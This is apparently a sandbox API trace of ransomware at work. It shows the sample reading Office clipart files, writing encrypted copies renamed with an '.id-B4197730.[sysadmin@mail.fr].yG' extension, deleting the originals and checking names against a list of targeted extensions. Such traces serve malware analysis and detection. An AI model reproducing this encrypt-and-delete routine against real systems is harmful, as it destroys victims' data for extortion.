	[0171.018] ReadFile (in: hFile=0x56c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.018] WriteFile (in: hFile=0x564, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.018] SetEndOfFile (hFile=0x564) returned 1
	[0171.019] CloseHandle (hObject=0x564) returned 1
	[0171.019] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.019] SetEndOfFile (hFile=0x56c) returned 1
	[0171.022] CloseHandle (hObject=0x56c) returned 1
	[0171.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1
	[0171.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0171.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0171.023] lstrlenW (lpString=".doc") returned 4
	[0171.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.024] lstrlenW (lpString=".docx") returned 5
	[0171.024] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.024] lstrlenW (lpString=".pdf") returned 4
	[0171.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.024] lstrlenW (lpString=".xls") returned 4
	[0171.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.024] lstrlenW (lpString=".xlsx") returned 5
	[0171.024] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.024] lstrlenW (lpString=".ppt") returned 4
	[0171.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0171.024] lstrlenW (lpString=".zip") returned 4
	[0171.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.024] lstrlenW (lpString=".rar") returned 4
	[0171.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.024] lstrlenW (lpString=".bz2") returned 4
	[0171.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.024] lstrlenW (lpString=".7z") returned 3
	[0171.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0171.024] lstrlenW (lpString=".dbf") returned 4
	[0171.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0171.025] lstrlenW (lpString=".1cd") returned 4
	[0171.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0171.025] lstrlenW (lpString=".jpg") returned 4
	[0171.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.026] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=10852) returned 1
	[0171.026] CloseHandle (hObject=0x56c) returned 1
	[0171.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220
	[0171.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0171.027] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.027] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0171.027] GetLastError () returned 0x0
	[0171.028] ReadFile (in: hFile=0x56c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x2a64, lpOverlapped=0x0) returned 1
	[0171.037] WriteFile (in: hFile=0x564, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2a70, lpOverlapped=0x0) returned 1
	[0171.038] ReadFile (in: hFile=0x56c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.038] WriteFile (in: hFile=0x564, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.038] SetEndOfFile (hFile=0x564) returned 1
	[0171.038] CloseHandle (hObject=0x564) returned 1
	[0171.039] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.039] SetEndOfFile (hFile=0x56c) returned 1
	[0171.366] CloseHandle (hObject=0x56c) returned 1
	[0171.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1
	[0171.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0171.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0171.372] lstrlenW (lpString=".doc") returned 4
	[0171.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.372] lstrlenW (lpString=".docx") returned 5
	[0171.372] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.372] lstrlenW (lpString=".pdf") returned 4
	[0171.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.372] lstrlenW (lpString=".xls") returned 4
	[0171.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.372] lstrlenW (lpString=".xlsx") returned 5
	[0171.372] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.372] lstrlenW (lpString=".ppt") returned 4
	[0171.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0171.372] lstrlenW (lpString=".zip") returned 4
	[0171.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.373] lstrlenW (lpString=".rar") returned 4
	[0171.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.373] lstrlenW (lpString=".bz2") returned 4
	[0171.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.373] lstrlenW (lpString=".7z") returned 3
	[0171.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0171.373] lstrlenW (lpString=".dbf") returned 4
	[0171.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0171.373] lstrlenW (lpString=".1cd") returned 4
	[0171.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0171.373] lstrlenW (lpString=".jpg") returned 4
	[0171.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.407] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=21216) returned 1
	[0171.407] CloseHandle (hObject=0x568) returned 1
	[0171.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220
	[0171.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0171.408] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.408] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.409] GetLastError () returned 0x0
	[0171.409] ReadFile (in: hFile=0x568, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x52e0, lpOverlapped=0x0) returned 1
	[0171.412] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x52f0, lpOverlapped=0x0) returned 1
	[0171.414] ReadFile (in: hFile=0x568, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.414] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.414] SetEndOfFile (hFile=0x364) returned 1
	[0171.415] CloseHandle (hObject=0x364) returned 1
	[0171.415] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.415] SetEndOfFile (hFile=0x568) returned 1
	[0171.419] CloseHandle (hObject=0x568) returned 1
	[0171.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1
	[0171.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0171.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0171.420] lstrlenW (lpString=".doc") returned 4
	[0171.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.420] lstrlenW (lpString=".docx") returned 5
	[0171.421] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.421] lstrlenW (lpString=".pdf") returned 4
	[0171.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.421] lstrlenW (lpString=".xls") returned 4
	[0171.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.421] lstrlenW (lpString=".xlsx") returned 5
	[0171.421] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.421] lstrlenW (lpString=".ppt") returned 4
	[0171.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0171.421] lstrlenW (lpString=".zip") returned 4
	[0171.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.421] lstrlenW (lpString=".rar") returned 4
	[0171.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.421] lstrlenW (lpString=".bz2") returned 4
	[0171.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.421] lstrlenW (lpString=".7z") returned 3
	[0171.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0171.421] lstrlenW (lpString=".dbf") returned 4
	[0171.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0171.422] lstrlenW (lpString=".1cd") returned 4
	[0171.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68
	[0171.422] lstrlenW (lpString=".jpg") returned 4
	[0171.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.422] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=9612) returned 1
	[0171.422] CloseHandle (hObject=0x568) returned 1
	[0171.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220
	[0171.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0171.424] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.424] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.425] GetLastError () returned 0x0
	[0171.425] ReadFile (in: hFile=0x568, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x258c, lpOverlapped=0x0) returned 1
	[0171.427] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0171.428] ReadFile (in: hFile=0x568, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.428] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.428] SetEndOfFile (hFile=0x364) returned 1
	[0171.428] CloseHandle (hObject=0x364) returned 1
	[0171.429] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.429] SetEndOfFile (hFile=0x568) returned 1
	[0171.791] CloseHandle (hObject=0x568) returned 1
	[0171.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1
	[0171.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0171.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0171.996] lstrlenW (lpString=".doc") returned 4
	[0171.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.996] lstrlenW (lpString=".docx") returned 5
	[0171.996] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.996] lstrlenW (lpString=".pdf") returned 4
	[0171.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.997] lstrlenW (lpString=".xls") returned 4
	[0171.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.997] lstrlenW (lpString=".xlsx") returned 5
	[0171.997] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.997] lstrlenW (lpString=".ppt") returned 4
	[0171.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0171.997] lstrlenW (lpString=".zip") returned 4
	[0171.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.997] lstrlenW (lpString=".rar") returned 4
	[0171.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.997] lstrlenW (lpString=".bz2") returned 4
	[0171.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.997] lstrlenW (lpString=".7z") returned 3
	[0171.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0171.997] lstrlenW (lpString=".dbf") returned 4
	[0171.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0171.997] lstrlenW (lpString=".1cd") returned 4
	[0171.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0171.997] lstrlenW (lpString=".jpg") returned 4
	[0171.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.604] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.604] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0173.605] GetLastError () returned 0x0
	[0173.605] ReadFile (in: hFile=0x454, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1f40, lpOverlapped=0x0) returned 1
	[0173.607] WriteFile (in: hFile=0x574, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1f50, lpOverlapped=0x0) returned 1
	[0173.609] ReadFile (in: hFile=0x454, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.609] WriteFile (in: hFile=0x574, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.609] SetEndOfFile (hFile=0x574) returned 1
	[0173.609] CloseHandle (hObject=0x574) returned 1
	[0173.609] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.609] SetEndOfFile (hFile=0x454) returned 1
	[0173.613] CloseHandle (hObject=0x454) returned 1
	[0173.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1
	[0173.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0173.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0173.614] lstrlenW (lpString=".doc") returned 4
	[0173.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString=".docx") returned 5
	[0173.614] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.614] lstrlenW (lpString=".pdf") returned 4
	[0173.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString=".xls") returned 4
	[0173.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.615] lstrlenW (lpString=".xlsx") returned 5
	[0173.615] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.615] lstrlenW (lpString=".ppt") returned 4
	[0173.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0173.615] lstrlenW (lpString=".zip") returned 4
	[0173.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.615] lstrlenW (lpString=".rar") returned 4
	[0173.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.615] lstrlenW (lpString=".bz2") returned 4
	[0173.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.615] lstrlenW (lpString=".7z") returned 3
	[0173.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0173.615] lstrlenW (lpString=".dbf") returned 4
